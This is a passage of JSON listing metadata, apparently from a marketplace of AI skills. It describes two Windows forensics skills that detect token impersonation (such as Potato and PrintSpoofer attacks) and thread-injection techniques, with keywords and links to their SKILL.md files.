extract","registry","artifact","digital-forensics","sonnet","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":150,"publishedAt":31},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[151,152,153,82,29,154,97,155,23,156,86,98,157,158,159,160,161,162,163,164],"processes","token","processes token impersonate detect","techniques","escalation","attacks","via","impersonation","potato","exploitation","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":169,"categories":170,"keywords":171,"publishedAt":31},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[172,151,173,82,174,175,87,98,157,176,177,178,111,86,29,154,179,97,180,23],"thread","injection","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]